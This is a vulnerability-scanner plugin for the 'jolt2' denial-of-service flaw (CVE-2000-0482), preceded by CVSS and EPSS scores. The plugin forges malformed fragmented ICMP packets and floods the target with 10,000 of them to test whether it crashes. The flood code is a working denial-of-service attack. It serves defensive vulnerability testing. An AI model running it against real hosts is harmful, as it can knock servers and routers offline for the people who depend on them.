6.7 Medium
AI Score
Confidence
Low
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
0.012 Low
EPSS
Percentile
85.1%
The machine (or a gateway on the network path) crashed when
flooded with incorrectly fragmented packets.
This is known as the
# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
# Note: the original exploit looks buggy. I tried to reproduce it here.
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11902");
script_version("2023-08-03T05:05:16+0000");
script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1312");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2000-0482");
script_name("jolt2");
script_category(ACT_FLOOD);
script_copyright("Copyright (C) 2003 Michel Arboi");
script_family("Denial of Service");
script_dependencies("global_settings.nasl");
script_exclude_keys("keys/TARGET_IS_IPV6");
script_tag(name:"solution", value:"Contact your operating system vendor for a patch.");
script_tag(name:"summary", value:"The machine (or a gateway on the network path) crashed when
flooded with incorrectly fragmented packets.
This is known as the 'jolt2' denial of service attack.");
script_tag(name:"impact", value:"An attacker may use this flaw to shut down this server or router,
thus preventing you from working properly.");
script_tag(name:"qod_type", value:"remote_probe");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
if(TARGET_IS_IPV6())
exit(0);
# Ensure that the host is still up
start_denial();
sleep( 2 );
up = end_denial();
if( ! up )
exit( 0 );
src = this_host();
id = 0x455;
seq = rand() % 256;
ip = forge_ip_packet(ip_v: 4, ip_hl : 5, ip_tos : 0, ip_len : 20+8+1,
ip_id : id, ip_p : IPPROTO_ICMP, ip_ttl : 255,
ip_off : 8190, ip_src : src);
icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
icmp_seq: seq, icmp_id:seq, data: "X");
start_denial();
send_packet(icmp, pcap_active: 0) x 10000;
alive = end_denial();
if(!alive) {
security_message(port:0, proto:"icmp");
set_kb_item( name:"Host/dead", value:TRUE );
}
exit(0);